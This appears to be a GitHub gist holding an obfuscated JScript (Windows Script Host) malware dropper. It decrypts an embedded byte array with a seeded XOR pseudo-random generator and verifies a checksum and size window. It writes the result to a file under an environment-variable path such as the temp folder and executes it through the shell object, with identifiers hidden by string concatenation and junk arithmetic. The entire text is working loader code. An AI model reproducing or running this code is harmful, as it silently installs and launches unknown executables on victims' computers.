218,93,162,38,105,108,42,9,124,13,152,47,148,36,243,244,151,74,204,117,213,95,158,243,80,227,212,142,42,63,0,67,113,169,49,253,231,155,97,3,28,253,104,69,69,42,250,74,241,43,187,254,149,104,240,126,66,195,193,144,217,209,207,215,121,80,177,126,118,19,181,47,92,86,117,101,75,139,154,209,196,128,89,173,56,99,152,127,9,191,89,83,160,19,145,97,214,20,55,80,180,37,60,38,165,125,13,184,47,184,158,166,245,144,98,178,255,203,210,23,84,114,48,146,1,236,73,229,18,215,196,89,128,238,215,208,121,222,80,69,59,73,145,141,143,2,246,35,83,203,106,2,228,103,207,94,178,192,236,51,207,230,57,186,106,117,165,0,205,41,247,208,242,240,103,173,51,229,165,84,38,196,94,24,166,47,128,175,125,207,141,10,44,33,101,221,255,10,41,74,113,86,131,178,168,251,245,232,6,120,188,245,47,42,163,50,196,38,192,13,161,185,252,6,139,80,210,212,99,1,187,40,58,215,186,89,5,253,12,180,194,130,234,210,45,242,125,37,237,121,2,204,7,239,227,83,252,165,198,43,30,183,253,107,58,27,132,209,110,11,239,15,8,77,249,243,151,0,142,61,193,164,188,179,153,166,175,155,129,44,208,123,21,212,179,181,97,116,250,226,115,23,246,20,132,56,175,41,147,35,177,53,62,8,28,125,38,252,180,120,252,36,40,33,89,121,46,249,156,240,178,9,186,207,97,226,173,242,80,226,41,116,224,167,196,48,35,46,79,253,63,57,75,153,168,178,255,7,46,72,62,175,115,2,97,135,80,36,85,82,48,250,157,228,194,65,179,177,50,116,149,194,41,222,38,136,23,222,182,122,246,98,86,230,213,7,232,61,134,54,45,142,83,221,58,180,82,213,169,183,134,221,210,12,177,42,35,208,142,4,16,213,217,241,147,181,21,28,52,25,10,122,122,189,44,42,141,24,75,34,251,137,82,42,236,106,89,123,68,168,130,65,192,12,158,238,199,43,91,120,41,29,177,105,192,167,99,13,18,41,187,163,86,224,100,113,96,128,118,104,28,22,238,94,254,17,199,243,247,179,134,109,133,118,96,27,214,5,115,70,111,212,26,125,71,15,67,32,62,181,218,175,46,190,174,89,225,21,61,19,197,2,84,54,8,171,59,114,135,7,8,158,198,164,43,190,45,131,105,243,100,0,9,164,240,3,0,64,17,181,101,82,195,185,98,16,22,212,176,87,192,64,5,225,7,66,149,59,235,160,246,71,193,45,40,197,151,212,154,10,145,137,13,235,193,186,82,250,186,24,109,12,16,15,235,20,45,40,207,51,111,186,12,152,81,63,176,146,4,28,23,18,45,112,82,172,235,73,233,74,233,16,212,66,53,20,94,118,229,77,171,238,25,243,40,98,149,66,48,4,240,28,179,243,59,149,71,46,42,5,203,169,140,88,249,183,223,109,19,102,254,121,24,1,247,233,24,82,214,221,173,99,21,249,57,123,111,108,36,182,162,109,209,110,164,165,24,125,139,171,211,21,42,202,148,147,33,62,46,228,191,170,32,54,132,238,210,124,141,118,5,212,167,203,42,162,198,49,18,253,212,108,110,238,89,1,145,62,168,154,92,65,167,29,72,224,25,203,143,77,153,79,148,203,190,82,41,144,12,97,238,139,40,9,106,209,212,142,227,49,195,75,63,163,197,30,190,190,182,253,55,210,241,110,168,79,243,235,147,21,191,185,200,213,137,169,129,243,156,122,19,110,2,227,92,137,76,196,70,75,191,68,25,142,165,230,101,138,254,210,129,18,202,38,213,185,121,65,1,189,235,81,145,230,66,73,124,152,58,188,83,189,243,154,98,14,108,235,31,132,36,247,160,188,254,82,3,21,95,155,128,241,141,149,76,156,16,126,228,243,143,81,105,36,196,123,109,112,173,131,232,165,55,6,128,13,172,66,210,150,159,180,116,24,67,155,49,45,53,91,246,136,45,52,227,100,7,176,103,47,232,236,215,236,246,240,13,165,40,178,79,155,44,59,194,99,164,120,177,184,122,80,119,90,102,180,61,204,222,143,248,168,158,213,100,223,136,135,239,194,210,65,180,124,55,188,177,226,11,53,208,175,39,247,77,119,111,25,250,9,67,9,103,59,161,32,121,79,173,169,232,171,121,168,179,95,219,225,134,151,239,30,78,98,11,5,76,50,76,203,246,228,47,63,230,157,93,217,245,80,43,74,108,104,217,148,207,175,73,12,73,71,61,121,80,249,109,233,55,234,87,246,211,150,20,220,121,165,197,143,185,98,139,7,117,2,186,174,126,252,89,254,48,72,253,136,109,198,42,145,59,36,7,123,125,8,246,208,184,103,124,174,100,152,26,232,201,209,124,231,2,109,49,26,75,35,215,8,40,61,157,47,146,23,149,130,28,235,39,217,249,119,21,216,252,222,147,183,212,25,116,101,76,142,185,12,250,41,217,180,7,60,89,88,110,249,80,69,220,211,193,99,236,160,63,209,66,248,26,234,219,199,89,32,169,16,111,6,8,57,225,176,64,228,205,135,161,159,92,102,119,164,241,10,121,151,63,1,203,208,218,191,220,123,164,51,206,196,159,22,87,113,119,232,2,190,211,226,235,65,134,25,165,217,87,227,139,131,138,196,169,122,239,24,61,216,19,121,181,228,34,246,50,194,24,29,132,14,210,188,9,102,141,43,58,201,150,46,27,143,42,51,245,19,106,222,68,72,130,108,138,55,215,54,77,78,13,238,43,214,193,95,44,234,224,248,122,170,249,18,104,180,176,95,93,66,157,90,131,143,133,201,89,186,88,213,201,157,254,25,36,196,178,165,247,135,212,153,101,234,160,39,89,156,233,130,137,127,149,170,183,248,230,64,130,183,235,77,91,116,248,182,142,168,235,99,226,183,36,37,171,123,57,30,251,254,66,33,161,51,144,13,1,178,250,200,3,234,200,186,132,169,17,29,79,135,34,99,151,51,140,152,46,140,81,205,10,147,78,107,28,5,255,24,19,232,98,213,173,117,184,61,247,231,75,18,170,161,234,227,26,150,32,93,120,157,37,79,167,144,121,15,181,243,255,163,104,158,141,19,199,228,145,89,40,108,4];
var v_bin = v_bin0["concat"](v_bin1,v_bin2,v_bin3,v_bin4,v_bin5,v_bin6,v_bin7,v_bin8,v_bin9,v_bin10,v_bin11,v_bin12,v_bin13,v_bin14,v_bin15,v_bin16,v_bin17,v_bin18,v_bin19,v_bin20,v_bin21,v_bin22,v_bin23,v_bin24,v_bin25);
var OIn=1;
var HSc=2;
var JMb0=2;
var UKi8="437";
var Cy=WScript[Px + STr + AJi + Zz2](PJy + (function IIp3(){return HFk;}()) + Hv5 + Zb + Lr4);
var DMg6=Cy.ExpandEnvironmentStrings(Ex + Rg1 + NOs4);
var IPy=DMg6 + Yb3 + (function WNx2(){return KRm;}());
var EOz=IPy + EJj6 + AHh4;
function uheprng() {return (function() {
var o = 48, c = 1, p = o, s = new Array(o);
var i,j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 9881 - 9881; i < o; i++) s[i] = mash(VFi);
mash = null;
var random = function( range ) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {
if (++p >= o) p = 3629 - 3629;
var t = (1766358 + 2505) * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}return random;}());};
function Mash() {
var n = 0xefc8249d;
var mash = function(data) {
if ( data ) {
data = data.toString();
for (var i = 0; i < data.length; i++) {
n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;
}
return (n >>> 0) * 2.3283064365386963e-10;
} else n = 0xefc8249d;
};
return mash;
}
var NJi=1;
var Pw=0;
try
{
var Ri3=Je(v_bin);
if (Ri3[WQm8 + Uk2] < 60 * 1024 || Ri3[WQm8 + Uk2] > 300 * 1024)
{
WScript.Quit(-1226 + 1326);
}
AKh(EOz, Ri3);
Cy[PBf6](EOz + QPp2 + Ep8);
}
catch (e)
{
WScript.Quit(101)
}
WScript.Quit(1 * 0);
function Je(RBi6)
{
var KRl2;
var HOr = uheprng();
for (var AKu9=0; AKu9 < RBi6[WQm8 + Uk2]; AKu9++)
{
RBi6[AKu9] ^= HOr(74 * 3 + 34);
}
var Vq=RBi6[RBi6[WQm8 + Uk2]-4] | RBi6[RBi6[WQm8 + (function Ey(){return Uk2;}())]-3] << 8 | RBi6[RBi6[WQm8 + Uk2]-2] << (4919 - 4903) | RBi6[RBi6[WQm8 + Uk2]-1] << 24;
RBi6[ZPr(Jp2) + Ua6](v_bin[WQm8 + LDz(Uk2)]-4, 1022 - 1018);
KRl2=ONo9;
for (var AKu9=6341 - 6341; AKu9 < RBi6[WQm8 + Uk2]; AKu9++)
{
KRl2=(KRl2 + RBi6[AKu9]) % 0x100000000;
};
if (KRl2 != Vq) {return [];};
return RBi6;
};
function XQz(RBi6)
{
if (RBi6[-9763 + 9763]== 0x4D && RBi6[1 * 1]== 0x5a)
{return true;}
else
{return false;}
};
function Tm(QEf)
{
var ZGb=WScript[Px + STr + AJi + (function IFs(){return Zz2;}())](Ib + (function Il(){return NLw5;}()) + ZJa);
ZGb[Bs3 + EAf]=HSc;
ZGb[Sq + Wx6 + (function NUx8(){return FPc6;}())]=UKi8;
ZGb[Cf]();
ZGb[UCc + NZv + Wg + WEf9(LFh0)](QEf);
var Iy5=ZGb[GHa9 + Xm8 + Ba0];
ZGb[BRr9(Lg2)]();
return RJs2(Iy5);
};
function RJs2(JJt9)
{
var QBr=new Array();
QBr[0xC7]=0x80;
QBr[0xFC]=0x81;
QBr[0xE9]=0x82;
QBr[0xE2]=0x83;
QBr[0xE4]=0x84;
QBr[0xE0]=0x85;
QBr[0xE5]=0x86;
QBr[0xE7]=0x87;
QBr[0xEA]=0x88;
QBr[0xEB]=0x89;
QBr[0xE8]=0x8A;
QBr[0xEF]=0x8B;
QBr[0xEE]=0x8C;
QBr[0xEC]=0x8D;
QBr[0xC4]=0x8E;
QBr[0xC5]=0x8F;
QBr[0xC9]=0x90;
QBr[0xE6]=0x91;
QBr[0xC6]=0x92;
QBr[0xF4]=0x93;
QBr[0xF6]=0x94;
QBr[0xF2]=0x95;
QBr[0xFB]=0x96;
QBr[0xF9]=0x97;
QBr[0xFF]=0x98;
QBr[0xD6]=0x99;
QBr[0xDC]=0x9A;
QBr[0xA2]=0x9B;
QBr[0xA3]=0x9C;
QBr[0xA5]=0x9D;
QBr[0x20A7]=0x9E;
QBr[0x192]=0x9F;
QBr[0xE1]=0xA0;
QBr[0xED]=0xA1;
QBr[0xF3]=0xA2;
QBr[0xFA]=0xA3;
QBr[0xF1]=0xA4;
QBr[0xD1]=0xA5;
QBr[0xAA]=0xA6;
QBr[0xBA]=0xA7;
QBr[0xBF]=0xA8;
QBr[0x2310]=0xA9;
QBr[0xAC]=0xAA;
QBr[0xBD]=0xAB;
QBr[0xBC]=0xAC;
QBr[0xA1]=0xAD;
QBr[0xAB]=0xAE;
QBr[0xBB]=0xAF;
QBr[0x2591]=0xB0;
QBr[0x2592]=0xB1;
QBr[0x2593]=0xB2;
QBr[0x2502]=0xB3;
QBr[0x2524]=0xB4;
QBr[0x2561]=0xB5;
QBr[0x2562]=0xB6;
QBr[0x2556]=0xB7;
QBr[0x2555]=0xB8;
QBr[0x2563]=0xB9;
QBr[0x2551]=0xBA;
QBr[0x2557]=0xBB;
QBr[0x255D]=0xBC;
QBr[0x255C]=0xBD;
QBr[0x255B]=0xBE;
QBr[0x2510]=0xBF;
QBr[0x2514]=0xC0;
QBr[0x2534]=0xC1;
QBr[0x252C]=0xC2;
QBr[0x251C]=0xC3;
QBr[0x2500]=0xC4;
QBr[0x253C]=0xC5;
QBr[0x255E]=0xC6;
QBr[0x255F]=0xC7;
QBr[0x255A]=0xC8;
QBr[0x2554]=0xC9;
QBr[0x2569]=0xCA;
QBr[0x2566]=0xCB;
QBr[0x2560]=0xCC;
QBr[0x2550]=0xCD;
QBr[0x256C]=0xCE;
QBr[0x2567]=0xCF;
QBr[0x2568]=0xD0;
QBr[0x2564]=0xD1;
QBr[0x2565]=0xD2;
QBr[0x2559]=0xD3;
QBr[0x2558]=0xD4;
QBr[0x2552]=0xD5;
QBr[0x2553]=0xD6;
QBr[0x256B]=0xD7;
QBr[0x256A]=0xD8;
QBr[0x2518]=0xD9;
QBr[0x250C]=0xDA;
QBr[0x2588]=0xDB;
QBr[0x2584]=0xDC;
QBr[0x258C]=0xDD;
QBr[0x2590]=0xDE;
QBr[0x2580]=0xDF;
QBr[0x3B1]=0xE0;
QBr[0xDF]=0xE1;
QBr[0x393]=0xE2;
QBr[0x3C0]=0xE3;
QBr[0x3A3]=0xE4;
QBr[0x3C3]=0xE5;
QBr[0xB5]=0xE6;
QBr[0x3C4]=0xE7;
QBr[0x3A6]=0xE8;
QBr[0x398]=0xE9;
QBr[0x3A9]=0xEA;
QBr[0x3B4]=0xEB;
QBr[0x221E]=0xEC;
QBr[0x3C6]=0xED;
QBr[0x3B5]=0xEE;
QBr[0x2229]=0xEF;
QBr[0x2261]=0xF0;
QBr[0xB1]=0xF1;
QBr[0x2265]=0xF2;
QBr[0x2264]=0xF3;
QBr[0x2320]=0xF4;
QBr[0x2321]=0xF5;
QBr[0xF7]=0xF6;
QBr[0x2248]=0xF7;
QBr[0xB0]=0xF8;
QBr[0x2219]=0xF9;
QBr[0xB7]=0xFA;
QBr[0x221A]=0xFB;
QBr[0x207F]=0xFC;
QBr[0xB2]=0xFD;
QBr[0x25A0]=0xFE;
QBr[0xA0]=0xFF;
var Ri3=new Array();
for (var AKu9=0; AKu9 < JJt9[WQm8 + Dd7(Uk2)]; AKu9++)
{
var IIt=JJt9[Zf + Oc3 + RHb3(Qe)](AKu9);
if (IIt < 128)
{var LWf=IIt;}
else
{var LWf=QBr[IIt];}
Ri3[(function Dd1(){return Ua;}())](LWf);
};
return Ri3;
};
function DTs6(RBi6)
{
var Af=new Array();
Af[0x80]=0x00C7;
Af[0x81]=0x00FC;
Af[0x82]=0x00E9;
Af[0x83]=0x00E2;
Af[0x84]=0x00E4;
Af[0x85]=0x00E0;
Af[0x86]=0x00E5;
Af[0x87]=0x00E7;
Af[0x88]=0x00EA;
Af[0x89]=0x00EB;
Af[0x8A]=0x00E8;
Af[0x8B]=0x00EF;
Af[0x8C]=0x00EE;
Af[0x8D]=0x00EC;
Af[0x8E]=0x00C4;
Af[0x8F]=0x00C5;
Af[0x90]=0x00C9;
Af[0x91]=0x00E6;
Af[0x92]=0x00C6;
Af[0x93]=0x00F4;
Af[0x94]=0x00F6;
Af[0x95]=0x00F2;
Af[0x96]=0x00FB;
Af[0x97]=0x00F9;
Af[0x98]=0x00FF;
Af[0x99]=0x00D6;
Af[0x9A]=0x00DC;
Af[0x9B]=0x00A2;
Af[0x9C]=0x00A3;
Af[0x9D]=0x00A5;
Af[0x9E]=0x20A7;
Af[0x9F]=0x0192;
Af[0xA0]=0x00E1;
Af[0xA1]=0x00ED;
Af[0xA2]=0x00F3;
Af[0xA3]=0x00FA;
Af[0xA4]=0x00F1;
Af[0xA5]=0x00D1;
Af[0xA6]=0x00AA;
Af[0xA7]=0x00BA;
Af[0xA8]=0x00BF;
Af[0xA9]=0x2310;
Af[0xAA]=0x00AC;
Af[0xAB]=0x00BD;
Af[0xAC]=0x00BC;
Af[0xAD]=0x00A1;
Af[0xAE]=0x00AB;
Af[0xAF]=0x00BB;
Af[0xB0]=0x2591;
Af[0xB1]=0x2592;
Af[0xB2]=0x2593;
Af[0xB3]=0x2502;
Af[0xB4]=0x2524;
Af[0xB5]=0x2561;
Af[0xB6]=0x2562;
Af[0xB7]=0x2556;
Af[0xB8]=0x2555;
Af[0xB9]=0x2563;
Af[0xBA]=0x2551;
Af[0xBB]=0x2557;
Af[0xBC]=0x255D;
Af[0xBD]=0x255C;
Af[0xBE]=0x255B;
Af[0xBF]=0x2510;
Af[0xC0]=0x2514;
Af[0xC1]=0x2534;
Af[0xC2]=0x252C;
Af[0xC3]=0x251C;
Af[0xC4]=0x2500;
Af[0xC5]=0x253C;
Af[0xC6]=0x255E;
Af[0xC7]=0x255F;
Af[0xC8]=0x255A;
Af[0xC9]=0x2554;
Af[0xCA]=0x2569;
Af[0xCB]=0x2566;
Af[0xCC]=0x2560;
Af[0xCD]=0x2550;
Af[0xCE]=0x256C;
Af[0xCF]=0x2567;
Af[0xD0]=0x2568;
Af[0xD1]=0x2564;
Af[0xD2]=0x2565;
Af[0xD3]=0x2559;
Af[0xD4]=0x2558;
Af[0xD5]=0x2552;
Af[0xD6]=0x2553;
Af[0xD7]=0x256B;
Af[0xD8]=0x256A;
Af[0xD9]=0x2518;
Af[0xDA]=0x250C;
Af[0xDB]=0x2588;
Af[0xDC]=0x2584;
Af[0xDD]=0x258C;
Af[0xDE]=0x2590;
Af[0xDF]=0x2580;
Af[0xE0]=0x03B1;
Af[0xE1]=0x00DF;
Af[0xE2]=0x0393;
Af[0xE3]=0x03C0;
Af[0xE4]=0x03A3;
Af[0xE5]=0x03C3;
Af[0xE6]=0x00B5;
Af[0xE7]=0x03C4;
Af[0xE8]=0x03A6;
Af[0xE9]=0x0398;
Af[0xEA]=0x03A9;
Af[0xEB]=0x03B4;
Af[0xEC]=0x221E;
Af[0xED]=0x03C6;
Af[0xEE]=0x03B5;
Af[0xEF]=0x2229;
Af[0xF0]=0x2261;
Af[0xF1]=0x00B1;
Af[0xF2]=0x2265;
Af[0xF3]=0x2264;
Af[0xF4]=0x2320;
Af[0xF5]=0x2321;
Af[0xF6]=0x00F7;
Af[0xF7]=0x2248;
Af[0xF8]=0x00B0;
Af[0xF9]=0x2219;
Af[0xFA]=0x00B7;
Af[0xFB]=0x221A;
Af[0xFC]=0x207F;
Af[0xFD]=0x00B2;
Af[0xFE]=0x25A0;
Af[0xFF]=0x00A0;
var Hc=new Array();
var PSg0="";
var LWf; var IIt;
for (var AKu9=0; AKu9 < RBi6[(function LRi(){return WQm8;}()) + (function DBj1(){return Uk2;}())]; AKu9++)
{
LWf=RBi6[AKu9];
if (LWf < 128)
{IIt=LWf;}
else
{IIt=Af[LWf];}
Hc.push(String[Lj5 + (function Cn0(){return ZAn;}()) + DVe5](IIt));
}
PSg0=Hc[TZt(UXs) + FYg4]("");
return PSg0;
};
function AKh(QEf, RBi6)
{
var ZGb=WScript[Px + (function AGp(){return STr;}()) + AJi + Zz2](Ib + NLw5 + (function AWx1(){return ZJa;}()));
ZGb[Bs3 + Vc(EAf)]=HSc;
ZGb[Sq + (function DTy1(){return Wx6;}()) + FPc6]=UKi8;
ZGb[Cf]();
ZGb[Bq0 + IVm2(Ix40) + (function Fy(){return RAs;}()) + ZWu](DTs6(RBi6));
ZGb[NCn + Zt4(ZOw) + Xb1 + Du0](QEf, 2);
ZGb[Lg2]();
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment